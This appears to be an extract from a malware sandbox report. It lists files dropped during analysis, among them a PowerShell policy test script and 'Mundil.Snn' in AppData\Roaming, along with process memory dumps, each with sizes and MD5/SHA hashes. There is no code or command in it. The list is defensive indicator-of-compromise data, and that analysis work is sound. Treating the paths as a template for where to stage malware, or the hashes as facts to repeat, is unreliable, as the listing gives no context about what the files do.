C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v2d5jrze.ccc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Mundil.Snn

Filesize
434KB

MD5
7babfa1cfd73160aea1c973277be8974

SHA1
39f3d08cc1c21be1ca0bd6c29e9dccbc8509a275

SHA256
0b1bdccf05ad3242eaaf63f1eb4ecf517608251b915b6cbd6ad893426cdb0d39

SHA512
059f894a53baf7516569432d100ceae31182b531a35ae461a960c71333ea08383beedce1cbddecae6ad3af513c3099ad3649cb473a8e1915a9db175a61125c85

Download Submit
memory/1968-4-0x00007FF916683000-0x00007FF916685000-memory.dmp

Filesize
8KB

Download
memory/1968-5-0x000002577F1A0000-0x000002577F1C2000-memory.dmp

Filesize
136KB

Download
memory/1968-15-0x00007FF916680000-0x00007FF917141000-memory.dmp

Filesize
10.8MB

Download
memory/1968-16-0x00007FF916680000-0x00007FF917141000-memory.dmp

Filesize
10.8MB

Download
memory/1968-19-0x00007FF916683000-0x00007FF916685000-memory.dmp

Filesize
8KB

Download
memory/1968-20-0x00007FF916680000-0x00007FF917141000-memory.dmp

Filesize
10.8MB

Download
memory/1968-23-0x00007FF916680000-0x00007FF917141000-memory.dmp

Filesize
10.8MB

Download
memory/2028-28-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Filesize
408KB

Download
memory/2028-43-0x0000000006890000-0x00000000068AA000-memory.dmp

Filesize
104KB

Download
memory/2028-38-0x0000000005CC0000-0x0000000006014000-memory.dmp

Filesize
3.3MB

Download
memory/2028-26-0x0000000005A80000-0x0000000005AA2000-memory.dmp

Filesize
136KB

Download
memory/2028-40-0x0000000006310000-0x000000000632E000-memory.dmp

Filesize
120KB

Download
memory/2028-41-0x0000000006340000-0x000000000638C000-memory.dmp

Filesize
304KB

Download
memory/2028-42-0x0000000007A90000-0x000000000810A000-memory.dmp

Filesize
6.5MB

Download
memory/2028-27-0x0000000005B20000-0x0000000005B86000-memory.dmp

Filesize
408KB

Download
memory/2028-45-0x0000000007310000-0x0000000007332000-memory.dmp

Filesize
136KB

Download
memory/2028-44-0x0000000007610000-0x00000000076A6000-memory.dmp

Filesize
600KB

Download
memory/2028-46-0x00000000086C0000-0x0000000008C64000-memory.dmp

Filesize
5.6MB

Download
memory/2028-25-0x0000000005450000-0x0000000005A78000-memory.dmp

Filesize
6.2MB

Download
memory/2028-48-0x0000000008C70000-0x000000000A767000-memory.dmp

Filesize
27.0MB

Download
memory/2028-24-0x0000000002A10000-0x0000000002A46000-memory.dmp

Filesize
216KB

Download
memory/4844-61-0x0000000000EE0000-0x0000000002134000-memory.dmp

Filesize
18.3MB

Download